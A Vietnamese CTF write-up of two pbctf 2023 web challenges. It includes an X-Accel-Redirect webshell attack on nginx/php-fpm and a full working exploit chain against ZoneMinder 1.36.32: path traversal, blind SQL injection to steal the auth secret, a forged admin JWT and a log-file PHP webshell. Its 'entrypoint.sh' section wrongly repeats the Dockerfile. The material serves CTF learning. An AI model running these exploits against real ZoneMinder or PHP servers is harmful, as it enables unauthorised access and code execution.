pbctf 2023 WRITEUP WEB CHALLENGES - Makima && The Mindful Zone

pbctf 2023 WRITEUP WEB CHALLENGES - Makima && The Mindful Zone

Cũng lâu rồi mình mới update blog, một phần vì lười 😁 và cũng bận bịu nhiều chuyện cá nhân quá. Sẵn dịp giải pbctf vừa rồi có hai challenge web mình thấy khá hay nên viết để chia sẻ.

Giải lần này team mình được hạng 17, mình thì có chơi nhưng vì lâu rồi không đụng ctf nên hơi phế, ~~ sr my team 😗.


Makima

Truy cập vào link challenge, ta được dẫn đến một page cho upload ảnh từ URL

Tiếp theo hãy cùng nhìn qua source code của chall, từ project structure và docker-compose.yml, ta thấy có hai service chính là cdnweb

Sơ qua về chức năng chính của hai service này:

web service

Sử dụng nginx kết hợp với php-fpm, file default.conf như sau:

server {
    listen 8080 default_server;
    listen [::]:8080 default_server;
    root /var/www/html;
    server_name _;

    location / {
        index index.php;
    }

    location ~ \.php$ {
        internal;
        include fastcgi_params;
        fastcgi_intercept_errors on;
        fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_pass unix:/run/php/php7.4-fpm.sock;
    }

    location /cdn/ {
        allow 127.0.0.1/32;
        deny all;
        proxy_pass http://cdn;
    }
}

-> Các request đến /cdn/ đều chỉ được xuất phát từ localhost và đồng thời ở block location phía trên có chỉ định internal directive.

www.config dùng để cấu hình cho php-fpm, nội dung file này khá dài nhưng có một chỗ cần để ý đó là dòng 401

security.limit_extensions không được set, nếu những ai tham gia giải ctf của trường mình thì sẽ thấy nó khá quen thuộc (service 3 trong bài 3Services), 1 lỗi điển hình khi kết hợp nginx với php-fpm để handle php file (cụ thể tại đây).

Nhìn qua source của trang upload:

<?php
function makeimg($data, $imgPath, $mime) {
    $img = imagecreatefromstring($data);
    switch($mime){
        case 'image/png':
            $with_ext = $imgPath . '.png';
            imagepng($img, $with_ext);
            break;
        case 'image/jpeg':
            $with_ext = $imgPath . '.jpg';
            imagejpeg($img, $with_ext);
            break;
        case 'image/webp':
            $with_ext = $imgPath . '.webp';
            imagewebp($img, $with_ext);
            break;
        case 'image/gif':
            $with_ext = $imgPath . '.gif';
            imagegif($img, $with_ext);
            break;
        default:
            $with_ext = 0;
            break;
        }
    return $with_ext;
}

if(isset($_POST["url"])){ 
    $cdn_url = 'http://localhost:8080/cdn/' . $_POST["url"];
    $img = @file_get_contents($cdn_url);
    $f = finfo_open();
    $mime_type = finfo_buffer($f, $img, FILEINFO_MIME_TYPE);
    $fileName = 'uploads/' . substr(md5(rand()), 0, 13);
    $success = makeimg($img, $fileName, $mime_type);
    if ($success !== 0) {
        $msg = $success;
    }
} 
?>

-> Lấy url từ POST request sau đó gọi hàm file_get_contents với tham số là 'http://localhost:8080/cdn/' . $_POST["url"] , kết quả trả về được đưa vào hàm makeimg để lưu vào file system trên server. Và ta có thể access trực tiếp vào file vừa được upload:

cdn service

Được build bằng flask, source như sau:

@app.route("/cdn/<path:url>")
def cdn(url):
    mimes = ["image/png", "image/jpeg", "image/gif", "image/webp"]
    r = requests.get(url, stream=True)
    if r.headers["Content-Type"] not in mimes:
        print("BAD MIME")
        return "????", 400
    img_resp = make_response(r.raw.read(), 200)
    for header in r.headers:
        if header == "Date" or header == "Server":
            continue
        img_resp.headers[header] = r.headers[header]
    return img_resp


if __name__ == "__main__":
    app.run(debug=False, port=8081)

Lấy url từ route variable, sau đó gửi get request đến và check response header Content-Type phải nằm trong "image/png", "image/jpeg", "image/gif", "image/webp" . Response cuối cùng sẽ bao gồm image lấy được từ server (được chỉ định thông qua url) và các response header từ server đó (ngoại trừ DateServer).

Vậy tóm lại ta đang có những gì? thứ nhất là lỗi file parsing có thể dẫn đến rce, thứ hai là control được image cũng như response header từ server của ta.

Ban đầu mình áp dụng POC để khai thác file parsing nhưng lúc sau mới nhận ra rằng bởi vì internal directive của nginx nên không thể access đến các file .php từ bên ngoài được.

Specifies that a given location can only be used for internal requests. For external requests, the client error 404 (Not Found) is returned.

Trong docs cũng có nói đến những trường hợp có thể truy cập được vào location này

-> Mấu chốt chính là response header X-Accel-Redirect. Sau một hồi tra gg, từ đâyđây có thể rút ra kết luận rằng: có thể điều khiển được đích mà nginx sẽ redirect đến, vì vậy ta có thể setup server để trả về response header X-Accel-Redirect: /uploads/<image_name>/bla.php

Các bước khai thác sẽ như sau:

Bước 1: Tạo image php shell và upload lên server

Ở bước này mình sử dụng POC tại đây để tạo một file .gif chứa php code.

Upload:

Bước 2: Setup server trả về response header X-Accel-Redirect đến file này

from http.server import BaseHTTPRequestHandler, HTTPServer

class MyServer(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type', 'image/gif')
        self.send_header('Content-Disposition', 'attachment; filename="exp.gif"')
        self.send_header('X-Accel-Redirect', '/uploads/c2904e1b93c85.gif/bla.php')
        self.end_headers()

        # not sure about this part below
        self.wfile.write(open('./exp.gif', 'rb'))


myServer = HTTPServer(('localhost', 8000), MyServer)
myServer.serve_forever()
myServer.server_close()

POST url trỏ đến server vừa setup

Lúc này check terminal của docker sẽ thấy báo lỗi như sau

Như thế này nghĩa là đã rce thành công bởi vì đoạn code trong file .gif của mình có chứa:

Set lại giá trị cho X-Accel-Redirect thành /uploads/c2904e1b93c85.gif/bla.php?0=system&1=cat /flag > /var/www/html/uploads/to016.txt

Và ... flag


The Mindful Zone

Bài này là kiểu tìm 0day từ open source, mình thức cả đêm tới sáng để đọc source của nó nhưng cuối cùng vẫn cần đến người anh taidh để solve chall 🥺.

Các file đề cung cấp cho thì khá ít, nên mình để ở đây luôn

Dokerfile:

FROM ubuntu:18.04

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
    apt-get -y --no-install-recommends install software-properties-common mysql-server apache2 php libapache2-mod-php php-mysql && \
    add-apt-repository ppa:iconnor/zoneminder-1.36 && \
    service mysql start && \
    apt-get install -y --no-install-recommends zoneminder=1.36.32-bionic1 && \
    apt-get clean

RUN sed -i 's/\[mysqld\]/[mysqld\]\nsql_mode = NO_ENGINE_SUBSTITUTION\n/' /etc/mysql/mysql.conf.d/mysqld.cnf

COPY flag.txt /flag.txt
COPY entrypoint.sh /entrypoint.sh
COPY readflag /readflag
RUN chmod 700 /flag.txt && chmod +sx /readflag

CMD bash -C '/entrypoint.sh';'bash'

# docker build -t mind .
# docker run --rm -it -p 8080:80 mind
# visit 127.0.0.1:8080/zm/

entrypoint.sh

FROM ubuntu:18.04

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
    apt-get -y --no-install-recommends install software-properties-common mysql-server apache2 php libapache2-mod-php php-mysql && \
    add-apt-repository ppa:iconnor/zoneminder-1.36 && \
    service mysql start && \
    apt-get install -y --no-install-recommends zoneminder=1.36.32-bionic1 && \
    apt-get clean

RUN sed -i 's/\[mysqld\]/[mysqld\]\nsql_mode = NO_ENGINE_SUBSTITUTION\n/' /etc/mysql/mysql.conf.d/mysqld.cnf

COPY flag.txt /flag.txt
COPY entrypoint.sh /entrypoint.sh
COPY readflag /readflag
RUN chmod 700 /flag.txt && chmod +sx /readflag

CMD bash -C '/entrypoint.sh';'bash'

# docker build -t mind .
# docker run --rm -it -p 8080:80 mind
# visit 127.0.0.1:8080/zm/

readflag.c

#include<unistd.h>
#include<stdlib.h>
int main()
{
    setuid(0);
    system("cat /flag.txt");
}

Nhìn chung thì server sử dụng apache để deploy ZoneMinder

ZoneMinder là một bộ ứng dụng, công cụ cho phép chúng ta điều khiển, giám sát camera an ninh của mình.

Từ Dockerfile, ta thấy phiên bản zoneminder là 1.36.32, sau một hồi search gg mình không thấy bất kì lỗi gì được public ở version này, chỉ tìm được một cve cũ của nó nhưng thật ra là sẽ cần dựa trên cve này để exploit 0day 🤣.

CVE-2022-29806

Tổng quan: RCE bằng việc ghi file và include trên server

Bước 1: Ghi file

Luồng sẽ như sau:

web/ajax/log.php->createRequest()
    ZM\logInit
    ZM\Logger::fetch()->logPrint()

(Trong đó ZM là namespace của web/includes/logger.php)

Tại web/ajax/log.php->createRequest() các giá trị quan trọng ta có thể control được là $_POST['message'] , $_POST['level'], $_POST['file']

Và sau đó gọi tới ZM\logInitZM\Logger::fetch()->logPrint

ZM\logInit gọi đến Logger::fetch()->initialise()

initialise() ta focus vào đoạn code sau

Nếu ZM_LOG_DEBUG được set và ZM_LOG_DEBUG_FILE!='' sẽ gán $tempLogFile=ZM_LOG_DEBUG_FILE và gọi hàm $this->logFile( $tempLogFile );

Hàm này thì chỉ cần focus vào dòng 335, gán $this->logFile bằng với tham số truyền vào.

Về phần ZM\Logger::fetch()->logPrint()

Nếu $level <= $this->fileLevel$this->useErrorLogtrue thì gọi hàm error_log để ghi $message vào $this->LogFile -> có thể ghi được file bất kì trên server.

Bước 2: Include file vừa tạo để RCE

Ở main file có gọi đến require_once('lang.php')

Trong lang.php có một đoạn code gọi đến loadLanguage()

Và tại version bị lỗi, ta có thể khai thác path traversal ở biến ZM_LANG_DEFAULT để trỏ đến file vừa được ghi ở step trước.

Mình vừa đi sơ lược về CVE cũ để vận dụng và khai thác đối với chall này, cụ thể về nó các bạn có thể thamm khảo thêm tại đây.

Vậy ở challenge này có gì khác biệt với environment của cve vừa rồi?

  • Version sử dụng là 1.36.32 đã được fix lỗi ở web/includes/lang.php (1)

  • Từ file entrypoint.sh, giá trị ZM_OPT_USE_AUTH được set thành 1, có nghĩa là ta phải login (2)

Vì thế không thể follow được step 2 và 3 trong cve cũ

Tìm 0day

Khi đã coi sơ qua cve 2020 của zoneminder, mình nhảy vào version 1.36.32 của nó và căng mắt ra để đọc source, lúc sau mình nhận ra rằng không nhất thiết phải thông qua lang.php, ban đầu ta đã có thể require bất kì file .php trên server rồi 😅.

Dòng 174 của index.php lấy biến view từ request và thực hiện chặn path traversal bằng cách gọi đến web/includes/functions.php->detaintPath()

Nội dung hàm này như sau

-> Có thể bypass bằng ....//

Và cũng tại index.php dòng 231, gọi hàm require_once -> có thể lợi dụng path traversal để include tất cả file .php trên server

\=> Vậy là đã giải quyết xong vấn đề thứ (1).

Ngay sau khi biết được có thể include all file .php trên server mình đã đi check từng file trong source code để tìm các file có thể dùng được mà không cần phải login, nhưng phần lớn đều bị check quyền - gọi đến các hàm canView(), canEdit() từ file web/includes/auth.php để kiểm tra.

Qua ngày hôm sau, anh taidh có nói thì mình nhận ra đã xem miss file web/skins/classic/views/report_event_audit.php . Ở file này không bị check quyền, bởi vì tác giả chỉ check tại web/skins/classic/views/functions.php nhưng vì ta có thể include thẳng file .php nên có thể pass được đoạn check.

Điều đặc biệt trong file report_event_audit.php đó là ta có thể khai thác sqli tại dòng 78

với các biến $minTime$maxTime control được

Hàm validHtmlStr() được dùng để encode các kí tự

-> Quay về bài toán sqli chặn '"

Để bypass thì khá dễ, có thể set cho

  • minTime=\

  • maxTime= <sqli_payload>-- -

Vậy có thể sqli đọc dữ liệu từ database, nhưng câu hỏi tiếp theo đó là cần đọc gì ?

Lúc sau anh taidh có nói với mình rằng thay vì authen với password, ta còn có thể authen bằng token (line 308 -> 313) (tới đây giải quyết được vấn đề (2) )

Hàm validateToken này thực hiện decode jwt nhận được với secret key ZM_AUTH_HASH_SECRET:

Và cũng từ entrypoint.sh tại dòng 7 ta thấy giá trị này được set trong table zm.Config

\=> Sqli để đọc giá trị này sau đó dùng nó để sign token mới.

Script :

import requests
import re
login_url = "http://the-mindful-zone.chal.perfect.blue/zm/index.php?view=login"
s = requests.Session()

r1 = s.get(login_url)
csrfmagic = re.search(r"""name='__csrf_magic' value="(.*)\"""", r1.text)[1]
# print(csrfmagic)

ZM_AUTH_HASH_SECRET = ""
i=1
while True:
    for c in range(32, 128):

        data = {"__csrf_magic": csrfmagic, "action": "login", "postLoginQuery": "", "username": "admin", "password": "admin", "view": "....//....//skins/classic/views/report_event_audit", "minTime": '\\', "maxTime": f" OR (select case when (select ord(substring(Value,{i},1)) from zm.Config where Config.Name=0x5A4D5F415554485F484153485F534543524554)={c} then 1 else (select 1 union select 2) end) -- -"}
        r2 = s.post("http://the-mindful-zone.chal.perfect.blue/zm/index.php", data=data)
        # print(len(r2.text))
        if "Function" in r2.text:
            ZM_AUTH_HASH_SECRET += chr(c)
            i+=1
            print(ZM_AUTH_HASH_SECRET)
            break
# iQOTg1q7fzwLXbRBLmh2rECtSGccC3jz

Final script (chôm của anh taidh 🤣):

import requests
import jwt
import re

sess=requests.Session()

URL = 'http://the-mindful-zone.chal.perfect.blue/zm/index.php'
RE_CSRF = r"""<input type='hidden' name='__csrf_magic' value=\"(.*?)\" />"""
FILE_SHELL = '/tmp/aaaaaaaa.php'

def craftToken():
    key = "iQOTg1q7fzwLXbRBLmh2rECtSGccC3jz" #iQOTg1q7fzwLXbRBLmh2rECtSGccC3jz
    token = jwt.encode({"user": "admin", "iat":"99999999", "type": "access"}, key, algorithm="HS256")
    return token

TOKEN = craftToken()
print(TOKEN)
def getCsrf():
    r = sess.get(URL+f"?token={TOKEN}")
    # print(r.text)
    csrf = re.findall(RE_CSRF,r.text)
    return csrf


def enableLog():
    csrf = getCsrf()
    burp0_data = {"__csrf_magic": csrf, "view": "options", "tab": "logging", "action": "options", "newConfig[ZM_LOG_LEVEL_SYSLOG]": "-1", "newConfig[ZM_LOG_LEVEL_FILE]": "1", "newConfig[ZM_LOG_LEVEL_WEBLOG]": "-5", "newConfig[ZM_LOG_LEVEL_DATABASE]": "0", "newConfig[ZM_LOG_DATABASE_LIMIT]": "7 day", "newConfig[ZM_LOG_FFMPEG]": "1", "newConfig[ZM_LOG_DEBUG]": "1", "newConfig[ZM_LOG_DEBUG_TARGET]": '', "newConfig[ZM_LOG_DEBUG_LEVEL]": "1", "newConfig[ZM_LOG_DEBUG_FILE]": f"{FILE_SHELL}", "newConfig[ZM_LOG_CHECK_PERIOD]": "900", "newConfig[ZM_LOG_ALERT_WAR_COUNT]": "1", "newConfig[ZM_LOG_ALERT_ERR_COUNT]": "1", "newConfig[ZM_LOG_ALERT_FAT_COUNT]": "0", "newConfig[ZM_LOG_ALARM_WAR_COUNT]": "100", "newConfig[ZM_LOG_ALARM_ERR_COUNT]": "10", "newConfig[ZM_LOG_ALARM_FAT_COUNT]": "1", "newConfig[ZM_RECORD_EVENT_STATS]": "1"}
    r = sess.post(URL+f"?token={TOKEN}",data=burp0_data)

def writeShell():
    csrf = getCsrf()
    data = {"__csrf_magic":csrf,"view":"request","request":"log","task":"create","level":"ERR","message":"<?php system('/readflag'); ?>","file":FILE_SHELL}
    r = sess.post(URL+f"?token={TOKEN}",data=data)
    print(r.text)

def readFlag():
    r = sess.get(URL+f"?token={TOKEN}&view=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//tmp/aaaaaaaa",allow_redirects=False, proxies={'http': 'http://127.0.0.1:8080'})
    print(r.text)

enableLog()
writeShell()
readFlag()

Và flag

Intended solution trên discord server:


Lời kết

Mình bỏ ctf khá lâu vì dạo này bị bận rộn với mấy task chỗ thực tập và với cả đang trong giai đoạn thi cuối kì nữa :<, giải lần này dù chỉ làm được 2 bài nhưng cá nhân mình cảm thấy khá hay, ctf vẫn còn nhiều cái mới nhiều cái đáng để học. Hmmm ... vậy thôi hết rồi đó :v chào mn nhe.